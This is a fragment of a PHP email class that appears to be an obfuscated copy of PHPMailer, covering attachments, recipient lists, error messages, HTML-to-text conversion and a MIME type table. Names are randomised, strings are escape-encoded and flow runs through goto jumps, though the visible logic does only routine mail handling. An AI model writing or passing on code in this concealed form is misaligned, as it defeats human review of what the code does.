    public function addStringAttachment($jm30w, $FFm9e, $CTuvx = self::ENCODING_BASE64, $W7B1j = '', $wOvSy = "\141\164\x74\x61\143\x68\155\145\x6e\164")
    {
        if (!('' == $W7B1j)) {
            goto IYPlp;
        }
        $W7B1j = static::filenameToType($FFm9e);
        IYPlp:
        $this->attachment[] = [0 => $jm30w, 1 => $FFm9e, 2 => basename($FFm9e), 3 => $CTuvx, 4 => $W7B1j, 5 => true, 6 => $wOvSy, 7 => 0];
    }
    public function addEmbeddedImage($t1usk, $qsaom, $dEC3m = '', $CTuvx = self::ENCODING_BASE64, $W7B1j = '', $wOvSy = "\151\156\154\151\x6e\145")
    {
        if (!(!static::isPermittedPath($t1usk) || !@is_file($t1usk))) {
            goto u5LeL;
        }
        $this->setError($this->lang("\146\x69\154\145\137\x61\x63\x63\x65\x73\163") . $t1usk);
        return false;
        u5LeL:
        if (!('' == $W7B1j)) {
            goto XSCS1;
        }
        $W7B1j = static::filenameToType($t1usk);
        XSCS1:
        $FFm9e = basename($t1usk);
        if (!('' == $dEC3m)) {
            goto v39LO;
        }
        $dEC3m = $FFm9e;
        v39LO:
        $this->attachment[] = [0 => $t1usk, 1 => $FFm9e, 2 => $dEC3m, 3 => $CTuvx, 4 => $W7B1j, 5 => false, 6 => $wOvSy, 7 => $qsaom];
        return true;
    }
    public function addStringEmbeddedImage($jm30w, $qsaom, $dEC3m = '', $CTuvx = self::ENCODING_BASE64, $W7B1j = '', $wOvSy = "\x69\156\154\151\156\145")
    {
        if (!('' == $W7B1j and !empty($dEC3m))) {
            goto HVcii;
        }
        $W7B1j = static::filenameToType($dEC3m);
        HVcii:
        $this->attachment[] = [0 => $jm30w, 1 => $dEC3m, 2 => $dEC3m, 3 => $CTuvx, 4 => $W7B1j, 5 => true, 6 => $wOvSy, 7 => $qsaom];
        return true;
    }
    protected function cidExists($qsaom)
    {
        foreach ($this->attachment as $XGAfM) {
            if (!("\151\x6e\154\x69\x6e\x65" == $XGAfM[6] and $qsaom == $XGAfM[7])) {
                goto eK595;
            }
            return true;
            eK595:
            GU1c9:
        }
        fH2Y8:
        return false;
    }
    public function inlineImageExists()
    {
        foreach ($this->attachment as $XGAfM) {
            if (!("\x69\156\x6c\151\x6e\145" == $XGAfM[6])) {
                goto odzO0;
            }
            return true;
            odzO0:
            smMKb:
        }
        kvv1Y:
        return false;
    }
    public function attachmentExists()
    {
        foreach ($this->attachment as $XGAfM) {
            if (!("\141\x74\x74\x61\143\x68\155\145\156\x74" == $XGAfM[6])) {
                goto haCT0;
            }
            return true;
            haCT0:
            dkn59:
        }
        DvjZ_:
        return false;
    }
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }
    public function clearQueuedAddresses($unDTy)
    {
        $this->RecipientsQueue = array_filter($this->RecipientsQueue, function ($s2iYx) use($unDTy) {
            return $s2iYx[0] != $unDTy;
        });
    }
    public function clearAddresses()
    {
        foreach ($this->to as $g7_oI) {
            unset($this->all_recipients[strtolower($g7_oI[0])]);
            fNsDl:
        }
        vhppW:
        $this->to = [];
        $this->clearQueuedAddresses("\x74\x6f");
    }
    public function clearCCs()
    {
        foreach ($this->cc as $bKKB9) {
            unset($this->all_recipients[strtolower($bKKB9[0])]);
            DkZ_M:
        }
        EzPFP:
        $this->cc = [];
        $this->clearQueuedAddresses("\143\143");
    }
    public function clearBCCs()
    {
        foreach ($this->bcc as $DZLkJ) {
            unset($this->all_recipients[strtolower($DZLkJ[0])]);
            p4s9M:
        }
        GaRDJ:
        $this->bcc = [];
        $this->clearQueuedAddresses("\142\143\x63");
    }
    public function clearReplyTos()
    {
        $this->ReplyTo = [];
        $this->ReplyToQueue = [];
    }
    public function clearAllRecipients()
    {
        $this->to = [];
        $this->cc = [];
        $this->bcc = [];
        $this->all_recipients = [];
        $this->RecipientsQueue = [];
    }
    public function clearAttachments()
    {
        $this->attachment = [];
    }
    public function clearCustomHeaders()
    {
        $this->CustomHeader = [];
    }
    protected function setError($naxGQ)
    {
        ++$this->error_count;
        if (!("\163\155\x74\x70" == $this->Mailer and null !== $this->smtp)) {
            goto dznwg;
        }
        $RhW13 = $this->smtp->getError();
        if (empty($RhW13["\x65\162\162\x6f\162"])) {
            goto z2wCv;
        }
        $naxGQ .= $this->lang("\163\155\164\x70\137\145\162\x72\157\162") . $RhW13["\145\162\162\157\x72"];
        if (empty($RhW13["\144\145\x74\141\151\x6c"])) {
            goto L9IM1;
        }
        $naxGQ .= "\40\104\x65\x74\141\151\x6c\72\x20" . $RhW13["\144\x65\x74\141\x69\154"];
        L9IM1:
        if (empty($RhW13["\163\x6d\164\160\x5f\x63\157\144\x65"])) {
            goto wREEN;
        }
        $naxGQ .= "\40\123\115\124\x50\40\143\157\x64\145\x3a\40" . $RhW13["\163\155\164\160\137\x63\x6f\144\x65"];
        wREEN:
        if (empty($RhW13["\163\155\164\x70\x5f\143\x6f\x64\x65\x5f\x65\170"])) {
            goto CU2Tp;
        }
        $naxGQ .= "\40\101\x64\x64\151\x74\x69\x6f\156\x61\154\x20\123\115\x54\x50\40\151\x6e\x66\157\72\x20" . $RhW13["\163\x6d\x74\160\x5f\x63\x6f\x64\145\x5f\145\x78"];
        CU2Tp:
        z2wCv:
        dznwg:
        $this->ErrorInfo = $naxGQ;
    }
    public static function rfcDate()
    {
        date_default_timezone_set(@date_default_timezone_get());
        return date("\x44\54\x20\x6a\40\x4d\40\131\40\110\72\151\x3a\x73\40\117");
    }
    protected function serverHostname()
    {
        $HYIC3 = '';
        if (!empty($this->Hostname)) {
            goto Z_UZp;
        }
        if (isset($_SERVER) and array_key_exists("\x53\x45\x52\x56\105\122\137\116\101\115\x45", $_SERVER)) {
            goto A2qaZ;
        }
        if (function_exists("\x67\x65\x74\x68\157\x73\164\156\141\155\x65") and gethostname() !== false) {
            goto N9vaW;
        }
        if (php_uname("\x6e") !== false) {
            goto xWMwl;
        }
        goto ncEqQ;
        Z_UZp:
        $HYIC3 = $this->Hostname;
        goto ncEqQ;
        A2qaZ:
        $HYIC3 = $_SERVER["\123\x45\x52\126\x45\122\137\116\x41\115\105"];
        goto ncEqQ;
        N9vaW:
        $HYIC3 = gethostname();
        goto ncEqQ;
        xWMwl:
        $HYIC3 = php_uname("\x6e");
        ncEqQ:
        if (static::isValidHost($HYIC3)) {
            goto Gvq44;
        }
        return "\154\157\143\x61\x6c\150\x6f\x73\x74\56\x6c\x6f\x63\x61\154\144\x6f\x6d\x61\151\x6e";
        Gvq44:
        return $HYIC3;
    }
    public static function isValidHost($S1iUU)
    {
        if (!(empty($S1iUU) or !is_string($S1iUU) or strlen($S1iUU) > 256)) {
            goto ivFol;
        }
        return false;
        ivFol:
        if (!(trim($S1iUU, "\133\135") != $S1iUU)) {
            goto HlRll;
        }
        return (bool) filter_var(trim($S1iUU, "\x5b\135"), FILTER_VALIDATE_IP, FILTER_FLAG_IPV6);
        HlRll:
        if (!is_numeric(str_replace("\56", '', $S1iUU))) {
            goto Q4C0D;
        }
        return (bool) filter_var($S1iUU, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4);
        Q4C0D:
        if (!filter_var("\x68\x74\164\160\x3a\x2f\x2f" . $S1iUU, FILTER_VALIDATE_URL)) {
            goto LymsV;
        }
        return true;
        LymsV:
        return false;
    }
    protected function lang($pEv6e)
    {
        if (!(count($this->language) < 1)) {
            goto N6JAG;
        }
        $this->setLanguage("\145\x6e");
        N6JAG:
        if (!array_key_exists($pEv6e, $this->language)) {
            goto YaLKe;
        }
        if (!("\x73\155\x74\x70\137\x63\x6f\156\x6e\x65\x63\x74\x5f\x66\141\x69\154\x65\x64" == $pEv6e)) {
            goto I8fnO;
        }
        return $this->language[$pEv6e];
        I8fnO:
        return $this->language[$pEv6e];
        YaLKe:
        return $pEv6e;
    }
    public function isError()
    {
        return $this->error_count > 0;
    }
    public function addCustomHeader($dEC3m, $GywUj = null)
    {
        if (null === $GywUj) {
            goto CyTJG;
        }
        $this->CustomHeader[] = [$dEC3m, $GywUj];
        goto hZd43;
        CyTJG:
        $this->CustomHeader[] = explode("\x3a", $dEC3m, 2);
        hZd43:
    }
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }
    public function msgHTML($GRJNx, $k002A = '', $oZBq4 = false)
    {
        preg_match_all("\x2f\x28\163\162\143\x7c\142\x61\143\x6b\x67\x72\x6f\x75\x6e\x64\51\x3d\133\42\47\135\50\56\x2a\51\x5b\x22\x27\x5d\57\125\151", $GRJNx, $Y5L2H);
        if (!array_key_exists(2, $Y5L2H)) {
            goto ySnol;
        }
        if (!(strlen($k002A) > 1 && "\57" != substr($k002A, -1))) {
            goto I16vn;
        }
        $k002A .= "\57";
        I16vn:
        foreach ($Y5L2H[2] as $E9Pp8 => $z11sT) {
            if (!preg_match("\43\136\144\141\x74\141\72\x28\x69\155\x61\147\x65\57\x28\77\72\x6a\160\145\x3f\147\174\147\151\x66\x7c\x70\x6e\147\x29\x29\73\x3f\50\x62\141\163\x65\66\x34\x29\77\x2c\50\x2e\x2b\x29\x23", $z11sT, $WdJzM)) {
                goto yHA0f;
            }
            if (count($WdJzM) == 4 and static::ENCODING_BASE64 == $WdJzM[2]) {
                goto xctvD;
            }
            if ('' == $WdJzM[2]) {
                goto sp5ly;
            }
            goto lm5Ei;
            goto GMdlM;
            xctvD:
            $FJQWD = base64_decode($WdJzM[3]);
            goto GMdlM;
            sp5ly:
            $FJQWD = rawurldecode($WdJzM[3]);
            GMdlM:
            $qsaom = hash("\163\150\141\x32\65\66", $FJQWD) . "\100\x70\150\160\155\x61\x69\154\145\x72\56\x30";
            if ($this->cidExists($qsaom)) {
                goto FGhpv;
            }
            $this->addStringEmbeddedImage($FJQWD, $qsaom, "\145\x6d\x62\145\x64" . $E9Pp8, static::ENCODING_BASE64, $WdJzM[1]);
            FGhpv:
            $GRJNx = str_replace($Y5L2H[0][$E9Pp8], $Y5L2H[1][$E9Pp8] . "\x3d\42\x63\x69\x64\x3a" . $qsaom . "\42", $GRJNx);
            goto lm5Ei;
            yHA0f:
            if (!(!empty($k002A) and strpos($z11sT, "\x2e\56") === false and 0 !== strpos($z11sT, "\143\x69\144\72") and !preg_match("\43\136\133\x61\55\x7a\x5d\133\141\55\172\60\x2d\x39\x2b\56\x2d\x5d\52\72\x3f\57\x2f\43\x69", $z11sT))) {
                goto Gk0gJ;
            }
            $FFm9e = basename($z11sT);
            $eypdK = dirname($z11sT);
            if (!("\56" == $eypdK)) {
                goto gOtz6;
            }
            $eypdK = '';
            gOtz6:
            $qsaom = hash("\x73\150\141\62\x35\66", $z11sT) . "\100\160\x68\x70\x6d\x61\151\x6c\145\162\x2e\60";
            if (!(strlen($k002A) > 1 and "\x2f" != substr($k002A, -1))) {
                goto lQ0Xx;
            }
            $k002A .= "\x2f";
            lQ0Xx:
            if (!(strlen($eypdK) > 1 and "\x2f" != substr($eypdK, -1))) {
                goto h20WH;
            }
            $eypdK .= "\x2f";
            h20WH:
            if (!$this->addEmbeddedImage($k002A . $eypdK . $FFm9e, $qsaom, $FFm9e, static::ENCODING_BASE64, static::_mime_types((string) static::mb_pathinfo($FFm9e, PATHINFO_EXTENSION)))) {
                goto swbf5;
            }
            $GRJNx = preg_replace("\x2f" . $Y5L2H[1][$E9Pp8] . "\75\x5b\42\47\x5d" . preg_quote($z11sT, "\57") . "\x5b\x22\x27\x5d\57\x55\151", $Y5L2H[1][$E9Pp8] . "\75\42\143\x69\144\72" . $qsaom . "\42", $GRJNx);
            swbf5:
            Gk0gJ:
            lm5Ei:
        }
        vCEem:
        ySnol:
        $this->isHTML(true);
        $this->Body = static::normalizeBreaks($GRJNx);
        $this->AltBody = static::normalizeBreaks($this->html2text($GRJNx, $oZBq4));
        if ($this->alternativeExists()) {
            goto WlghN;
        }
        $this->AltBody = "\124\x68\x69\163\x20\151\163\x20\x61\x6e\40\x48\x54\x4d\x4c\x2d\157\156\154\171\x20\155\145\163\163\x61\147\x65\x2e\x20\124\x6f\x20\166\151\145\167\x20\151\x74\x2c\x20\x61\143\164\151\x76\x61\x74\x65\40\110\124\x4d\x4c\x20\x69\x6e\x20\x79\157\x75\x72\x20\145\155\x61\x69\154\40\141\160\160\154\151\143\x61\x74\x69\x6f\x6e\56" . static::$LE;
        WlghN:
        return $this->Body;
    }
    public function html2text($PDovp, $oZBq4 = false)
    {
        if (!is_callable($oZBq4)) {
            goto yeXlE;
        }
        return call_user_func($oZBq4, $PDovp);
        yeXlE:
        return html_entity_decode(trim(strip_tags(preg_replace("\x2f\74\50\x68\145\x61\x64\174\x74\x69\164\x6c\x65\174\x73\164\171\x6c\145\x7c\163\x63\x72\151\160\x74\x29\133\x5e\x3e\x5d\52\76\x2e\52\x3f\74\x5c\57\x5c\61\x3e\57\163\151", '', $PDovp))), ENT_QUOTES, $this->CharSet);
    }
    public static function _mime_types($Xeg7j = '')
    {
        $wBW2I = ["\x78\154" => "\141\160\x70\x6c\x69\x63\141\164\x69\x6f\156\x2f\x65\170\143\145\154", "\152\163" => "\x61\160\x70\154\x69\x63\141\x74\x69\x6f\156\x2f\152\x61\x76\x61\163\143\x72\x69\160\x74", "\x68\161\x78" => "\x61\x70\x70\154\151\x63\141\164\x69\x6f\x6e\57\x6d\x61\x63\x2d\142\151\x6e\x68\x65\x78\x34\60", "\x63\x70\x74" => "\x61\x70\x70\x6c\151\x63\x61\164\x69\157\156\x2f\x6d\x61\143\55\143\x6f\155\160\141\x63\164\160\x72\x6f", "\x62\151\x6e" => "\141\160\160\154\151\143\141\164\151\x6f\156\57\x6d\141\x63\142\151\x6e\141\x72\x79", "\x64\x6f\x63" => "\x61\x70\160\x6c\151\x63\x61\164\151\x6f\156\57\x6d\163\x77\x6f\162\x64", "\167\157\162\144" => "\x61\x70\160\154\x69\143\x61\164\x69\157\x6e\x2f\x6d\163\x77\157\x72\144", "\170\154\163\x78" => "\x61\160\x70\x6c\151\x63\x61\x74\x69\x6f\x6e\57\166\x6e\x64\x2e\157\160\x65\156\x78\x6d\154\x66\157\x72\x6d\x61\x74\x73\55\157\x66\x66\151\x63\145\144\157\x63\165\x6d\x65\x6e\164\56\x73\x70\162\x65\x61\144\x73\x68\145\x65\x74\x6d\154\56\x73\150\145\x65\x74", "\170\154\164\170" => "\141\160\x70\154\151\143\x61\164\151\x6f\x6e\x2f\166\156\x64\56\x6f\x70\x65\x6e\x78\155\x6c\x66\x6f\162\x6d\x61\164\x73\x2d\157\x66\146\151\143\x65\144\x6f\x63\x75\155\x65\x6e\164\56\x73\160\162\145\x61\144\x73\150\x65\145\x74\x6d\x6c\x2e\x74\x65\155\x70\x6c\141\164\145", "\160\x6f\164\x78" => "\141\x70\160\x6c\151\143\141\x74\x69\x6f\x6e\57\166\x6e\x64\x2e\x6f\160\x65\156\x78\x6d\154\146\157\x72\155\x61\x74\x73\x2d\157\x66\x66\151\x63\x65\x64\x6f\143\x75\x6d\145\156\x74\56\x70\x72\145\163\x65\x6e\164\141\x74\151\x6f\x6e\155\154\56\164\x65\155\160\x6c\x61\x74\145", "\x70\x70\163\170" => "\x61\160\160\154\151\143\141\164\151\157\156\x2f\166\x6e\x64\x2e\x6f\x70\x65\156\x78\x6d\x6c\x66\157\162\155\x61\164\x73\x2d\157\146\x66\151\143\x65\x64\x6f\x63\x75\155\x65\156\x74\x2e\160\x72\145\x73\145\x6e\164\141\x74\151\x6f\156\155\x6c\56\163\154\x69\x64\x65\163\x68\x6f\167", "\x70\160\x74\170" => "\x61\x70\x70\x6c\151\x63\x61\x74\x69\157\156\x2f\x76\156\144\x2e\x6f\160\x65\156\x78\155\x6c\x66\x6f\x72\155\x61\x74\x73\55\157\146\146\151\x63\145\x64\157\x63\x75\155\x65\156\x74\56\x70\x72\x65\163\145\x6e\x74\x61\164\x69\157\156\155\154\x2e\160\x72\145\163\x65\156\164\x61\164\151\x6f\156", "\163\x6c\144\x78" => "\x61\160\160\154\151\x63\141\164\x69\157\x6e\57\166\156\x64\x2e\x6f\160\x65\156\170\x6d\x6c\x66\157\162\x6d\141\x74\x73\55\x6f\146\x66\151\143\145\144\157\143\x75\155\x65\x6e\164\x2e\x70\x72\145\x73\145\156\x74\x61\164\x69\157\156\x6d\154\56\x73\x6c\151\144\145", "\x64\x6f\x63\170" => "\141\160\x70\154\x69\x63\141\164\x69\157\156\x2f\x76\x6e\x64\x2e\x6f\x70\x65\156\x78\155\154\x66\157\x72\x6d\141\x74\163\x2d\157\x66\x66\151\143\x65\x64\157\143\165\155\x65\x6e\164\56\167\x6f\x72\144\x70\x72\157\x63\x65\x73\163\x69\156\147\155\154\x2e\144\157\143\165\155\145\x6e\164", "\144\157\164\170" => "\141\160\x70\x6c\x69\x63\141\x74\151\x6f\156\x2f\x76\156\144\x2e\x6f\x70\145\x6e\170\x6d\154\x66\x6f\162\x6d\141\x74\163\x2d\x6f\146\x66\151\x63\x65\x64\x6f\x63\x75\155\x65\156\x74\x2e\x77\157\x72\x64\x70\x72\157\143\145\x73\x73\x69\x6e\x67\155\154\x2e\164\x65\x6d\160\x6c\141\x74\145", "\170\154\x61\x6d" => "\141\160\x70\154\x69\143\141\164\151\x6f\x6e\x2f\166\156\x64\56\155\x73\55\145\x78\143\x65\x6c\x2e\141\144\144\x69\156\x2e\x6d\141\x63\x72\157\x45\x6e\x61\x62\154\145\x64\56\61\x32", "\x78\x6c\x73\142" => "\141\160\160\x6c\151\x63\141\164\x69\157\x6e\57\166\156\x64\56\155\163\x2d\145\170\x63\x65\154\x2e\163\x68\x65\145\164\x2e\x62\151\x6e\x61\x72\x79\x2e\155\141\x63\162\x6f\x45\x6e\141\142\x6c\x65\x64\x2e\61\x32", "\x63\154\x61\x73\163" => "\x61\x70\x70\x6c\x69\x63\x61\164\x69\x6f\x6e\57\x6f\143\164\145\164\55\163\x74\x72\x65\141\155", "\144\x6c\x6c" => "\141\160\x70\154\151\143\141\164\x69\x6f\x6e\x2f\x6f\x63\164\x65\164\x2d\163\164\x72\145\141\x6d", "\144\x6d\x73" => "\141\160\160\x6c\151\143\141\x74\151\157\156\x2f\x6f\143\164\145\164\55\163\164\x72\x65\141\155", "\145\170\145" => "\x61\160\160\x6c\151\143\x61\164\x69\157\156\57\x6f\143\x74\x65\164\x2d\163\164\162\145\x61\155", "\154\150\141" => "\x61\x70\160\154\151\143\141\164\151\x6f\x6e\x2f\x6f\143\164\145\164\55\163\164\x72\x65\141\x6d", "\154\x7a\x68" => "\141\160\160\154\151\x63\141\164\151\157\156\57\157\143\164\145\164\55\x73\164\162\x65\141\x6d", "\160\x73\x64" => "\141\160\160\x6c\x69\x63\x61\x74\151\157\156\x2f\157\143\164\x65\164\55\163\x74\162\x65\x61\155", "\x73\145\141" => "\141\x70\160\x6c\x69\143\x61\164\x69\157\x6e\57\x6f\x63\164\145\x74\x2d\x73\164\162\145\x61\x6d", "\x73\157" => "\x61\160\160\154\151\143\x61\164\x69\x6f\156\57\x6f\143\164\145\x74\55\x73\x74\x72\145\141\155", "\x6f\x64\141" => "\x61\160\x70\154\x69\x63\x61\164\x69\x6f\156\57\x6f\x64\x61", "\x70\x64\x66" => "\141\x70\x70\154\151\x63\x61\x74\151\157\156\57\x70\144\x66", "\141\x69" => "\x61\x70\x70\x6c\151\x63\141\164\x69\x6f\156\57\x70\x6f\163\164\163\143\x72\151\160\x74", "\145\160\x73" => "\141\x70\x70\x6c\x69\143\x61\164\x69\x6f\x6e\57\160\157\x73\x74\163\x63\162\x69\x70\164", "\160\x73" => "\x61\x70\x70\154\x69\x63\141\164\151\157\x6e\x2f\160\x6f\x73\164\163\x63\x72\x69\160\x74", "\163\155\151" => "\141\x70\160\x6c\x69\143\141\164\x69\157\x6e\x2f\x73\x6d\x69\x6c", "\163\155\x69\154" => "\x61\160\160\x6c\x69\143\x61\x74\151\x6f\x6e\57\163\155\151\154", "\155\x69\146" => "\141\160\160\x6c\151\x63\141\x74\x69\x6f\156\57\x76\156\x64\56\155\x69\x66", "\170\x6c\163" => "\x61\160\x70\154\x69\143\141\x74\x69\x6f\156\x2f\166\156\x64\x2e\155\x73\55\145\170\x63\145\x6c", "\160\160\164" => "\x61\x70\x70\154\x69\143\141\164\x69\157\156\x2f\166\156\144\x2e\155\163\55\x70\x6f\167\x65\x72\x70\x6f\151\156\164", "\x77\x62\170\155\154" => "\x61\160\160\x6c\151\143\x61\164\151\x6f\156\57\x76\156\x64\x2e\167\141\x70\x2e\167\142\170\155\x6c", "\167\155\x6c\x63" => "\x61\x70\x70\154\x69\143\x61\x74\151\157\156\57\x76\x6e\144\x2e\x77\141\x70\56\x77\x6d\154\143", "\x64\143\162" => "\x61\x70\x70\x6c\151\x63\x61\164\151\157\x6e\57\x78\55\x64\x69\x72\x65\x63\x74\x6f\x72", "\144\151\162" => "\141\x70\x70\154\151\x63\x61\x74\x69\157\156\57\170\55\144\151\162\x65\143\x74\x6f\x72", "\x64\170\x72" => "\141\160\x70\154\151\x63\141\x74\x69\x6f\x6e\x2f\x78\55\x64\151\162\145\x63\x74\x6f\x72", "\x64\x76\x69" => "\x61\x70\160\x6c\151\x63\x61\x74\x69\x6f\x6e\57\x78\55\144\x76\151", "\x67\164\141\162" => "\141\160\x70\154\x69\143\141\x74\x69\x6f\156\x2f\170\x2d\147\x74\x61\x72", "\160\x68\160\63" => "\141\x70\160\x6c\151\143\141\x74\151\x6f\x6e\57\170\55\150\164\x74\160\x64\55\160\x68\160", "\160\150\x70\64" => "\141\160\x70\x6c\151\x63\x61\164\151\x6f\156\57\170\55\x68\x74\164\160\x64\x2d\x70\x68\x70", "\160\x68\160" => "\141\160\x70\x6c\151\x63\x61\164\151\x6f\156\x2f\x78\55\x68\x74\x74\160\x64\x2d\x70\x68\160", "\160\x68\164\155\x6c" => "\141\160\x70\x6c\151\x63\x61\x74\151\x6f\x6e\x2f\170\x2d\x68\x74\x74\x70\x64\55\x70\x68\160", "\x70\x68\x70\163" => "\x61\x70\x70\x6c\151\x63\141\164\x69\157\x6e\57\x78\55\150\x74\x74\x70\144\x2d\160\x68\x70\55\x73\x6f\165\x72\x63\x65", "\163\167\x66" => "\141\x70\x70\154\151\x63\x61\x74\x69\157\x6e\x2f\170\x2d\163\x68\157\143\153\x77\x61\x76\145\55\x66\154\x61\163\x68", "\x73\151\x74" => "\141\160\x70\x6c\151\x63\x61\x74\x69\157\x6e\x2f\x78\x2d\163\164\165\x66\146\151\164", "\x74\x61\x72" => "\x61\160\160\154\151\x63\141\164\151\x6f\156\57\x78\x2d\164\141\162", "\x74\147\x7a" => "\x61\x70\x70\x6c\151\143\x61\x74\x69\157\156\57\170\x2d\x74\141\x72", "\x78\x68\164" => "\141\x70\x70\x6c\151\x63\141\x74\151\157\156\57\170\x68\x74\155\154\53\x78\155\154", "\x78\x68\x74\155\154" => "\141\x70\x70\154\x69\x63\141\164\x69\x6f\x6e\57\x78\x68\164\155\x6c\53\x78\155\x6c", "\172\x69\160" => "\141\x70\160\154\x69\x63\x61\x74\x69\157\156\57\x7a\x69\x70", "\155\151\x64" => "\141\165\144\x69\157\57\155\x69\x64\x69", "\x6d\151\144\x69" => "\141\165\144\151\x6f\x2f\155\151\144\x69", "\x6d\160\x32" => "\x61\x75\144\x69\x6f\57\x6d\x70\145\147", "\155\x70\x33" => "\141\x75\144\x69\x6f\57\155\x70\x65\147", "\155\64\141" => "\141\x75\144\151\157\57\x6d\160\x34", "\155\x70\147\x61" => "\141\x75\144\151\x6f\57\155\160\145\x67", "\141\x69\x66" => "\141\x75\144\151\157\x2f\x78\55\x61\151\x66\146", "\141\151\x66\143" => "\141\165\x64\x69\x6f\57\x78\55\x61\x69\146\146", "\x61\151\x66\x66" => "\141\165\x64\x69\x6f\x2f\x78\55\141\151\146\146", "\x72\141\155" => "\x61\x75\144\x69\157\x2f\x78\55\160\x6e\x2d\162\145\141\x6c\141\165\144\x69\x6f", "\162\155" => "\141\x75\x64\151\x6f\57\x78\x2d\160\x6e\x2d\x72\145\141\154\x61\165\x64\x69\157", "\162\x70\155" => "\x61\165\x64\151\157\57\x78\x2d\x70\x6e\x2d\162\145\x61\x6c\x61\x75\144\151\x6f\55\160\x6c\x75\x67\x69\156", "\x72\x61" => "\141\x75\x64\151\157\x2f\170\55\x72\145\141\x6c\141\165\x64\x69\x6f", "\167\141\166" => "\141\165\x64\x69\157\x2f\170\x2d\167\141\166", "\x6d\x6b\141" => "\141\x75\x64\x69\x6f\x2f\x78\x2d\x6d\x61\x74\162\x6f\163\x6b\x61", "\x62\x6d\160" => "\x69\155\141\147\145\x2f\142\x6d\x70", "\x67\151\146" => "\x69\x6d\x61\147\145\57\147\151\146", "\x6a\x70\145\x67" => "\151\x6d\141\x67\145\x2f\x6a\160\145\147", "\152\x70\x65" => "\x69\x6d\x61\x67\x65\x2f\x6a\160\x65\x67", "\x6a\160\147" => "\151\x6d\141\x67\145\57\152\x70\x65\x67", "\x70\x6e\x67" => "\x69\155\141\x67\145\57\x70\x6e\147", "\x74\x69\x66\146" => "\151\x6d\141\x67\x65\x2f\x74\x69\x66\146", "\x74\x69\146" => "\151\155\x61\x67\x65\57\x74\x69\x66\146", "\x77\x65\x62\x70" => "\x69\x6d\141\x67\145\x2f\167\145\142\160", "\x68\x65\x69\146" => "\x69\x6d\141\x67\145\x2f\150\x65\151\x66", "\150\145\151\x66\163" => "\151\x6d\141\147\145\57\x68\x65\x69\x66\x2d\x73\x65\x71\165\x65\156\143\x65", "\x68\x65\x69\x63" => "\x69\x6d\141\147\145\x2f\x68\145\x69\143", "\x68\x65\151\143\163" => "\x69\x6d\x61\x67\145\57\150\x65\151\x63\x2d\163\x65\161\x75\145\x6e\x63\145", "\145\155\x6c" => "\x6d\x65\x73\x73\141\x67\x65\57\x72\146\143\70\x32\62", "\x63\x73\x73" => "\x74\x65\170\164\x2f\x63\163\x73", "\150\164\155\154" => "\x74\x65\x78\x74\57\150\x74\155\x6c", "\150\x74\x6d" => "\x74\x65\x78\x74\57\x68\x74\x6d\x6c", "\x73\150\x74\155\x6c" => "\164\x65\x78\x74\57\x68\x74\x6d\x6c", "\154\157\x67" => "\164\145\x78\164\57\x70\x6c\x61\151\x6e", "\164\x65\x78\164" => "\x74\145\170\164\x2f\x70\154\141\x69\156", "\x74\x78\164" => "\164\x65\170\164\57\160\x6c\x61\x69\156", "\162\x74\x78" => "\x74\x65\x78\164\x2f\x72\151\143\x68\164\x65\170\x74", "\162\164\146" => "\164\145\x78\x74\x2f\162\164\146", "\x76\x63\146" => "\164\145\170\x74\x2f\166\x63\x61\x72\x64", "\x76\143\141\162\x64" => "\164\145\170\x74\57\x76\143\x61\162\x64", "\151\143\163" => "\x74\145\x78\x74\x2f\143\x61\154\x65\156\x64\x61\162", "\x78\x6d\154" => "\164\x65\170\x74\x2f\170\x6d\x6c", "\170\x73\x6c" => "\164\145\x78\x74\57\170\x6d\x6c", "\167\x6d\x76" => "\166\151\144\145\157\x2f\x78\55\155\163\x2d\167\x6d\166", "\x6d\160\x65\x67" => "\x76\x69\x64\145\x6f\x2f\155\160\145\147", "\x6d\x70\x65" => "\166\x69\144\x65\157\57\x6d\x70\145\147", "\x6d\160\x67" => "\x76\151\144\x65\157\x2f\x6d\160\145\147", "\x6d\160\64" => "\166\x69\144\x65\157\x2f\x6d\x70\x34", "\155\x34\166" => "\166\151\144\x65\157\x2f\x6d\x70\64", "\155\x6f\x76" => "\x76\x69\144\x65\157\x2f\x71\165\151\x63\x6b\164\x69\155\x65", "\161\164" => "\166\151\144\x65\157\x2f\161\x75\151\143\x6b\164\151\x6d\145", "\162\166" => "\166\151\144\145\x6f\x2f\x76\x6e\x64\x2e\162\156\x2d\162\145\141\x6c\x76\x69\144\x65\x6f", "\141\166\x69" => "\x76\x69\x64\145\157\x2f\x78\x2d\155\163\166\x69\144\145\157", "\x6d\x6f\166\151\145" => "\x76\x69\x64\145\157\57\x78\55\163\147\151\x2d\x6d\157\x76\x69\x65", "\x77\x65\142\155" => "\166\x69\x64\145\x6f\57\167\x65\142\155", "\155\153\166" => "\x76\151\x64\x65\x6f\57\x78\x2d\155\x61\164\162\157\163\153\x61"];
        $Xeg7j = strtolower($Xeg7j);
        if (!array_key_exists($Xeg7j, $wBW2I)) {
            goto iWkY7;
        }
        return $wBW2I[$Xeg7j];
        iWkY7:
        return "\141\160\160\154\x69\x63\141\x74\x69\x6f\x6e\57\157\143\164\x65\x74\x2d\x73\164\162\145\141\x6d";
    }
    public static function filenameToType($FFm9e)
    {
        $Z5fH7 = strpos($FFm9e, "\77");
        if (!(false !== $Z5fH7)) {
            goto HeLTR;
        }
        $FFm9e = substr($FFm9e, 0, $Z5fH7);
        HeLTR:
        $Xeg7j = static::mb_pathinfo($FFm9e, PATHINFO_EXTENSION);
        return static::_mime_types($Xeg7j);
    }
    public static function mb_pathinfo($t1usk, $p0n3v = null)
    {
        $mgR5a = ["\144\x69\162\156\x61\155\145" => '', "\142\x61\x73\x65\156\x61\155\x65" => '', "\145\x78\x74\x65\156\x73\151\157\156" => '', "\x66\x69\x6c\x65\156\x61\x6d\145" => ''];
        $Bg9Qp = [];
        if (!preg_match("\43\x5e\x28\56\52\77\x29\133\134\134\x2f\x5d\52\50\x28\x5b\136\57\134\x5c\x5d\52\x3f\x29\50\x5c\x2e\x28\133\x5e\134\56\134\x5c\x2f\135\x2b\77\51\x7c\x29\x29\133\134\x5c\57\x5c\x2e\135\52\x24\x23\x69\x6d", $t1usk, $Bg9Qp)) {
            goto cvcVZ;
        }
        if (!array_key_exists(1, $Bg9Qp)) {
            goto J06hm;
        }
        $mgR5a["\x64\151\x72\156\141\x6d\145"] = $Bg9Qp[1];
        J06hm:
        if (!array_key_exists(2, $Bg9Qp)) {
            goto ZV9WE;
        }
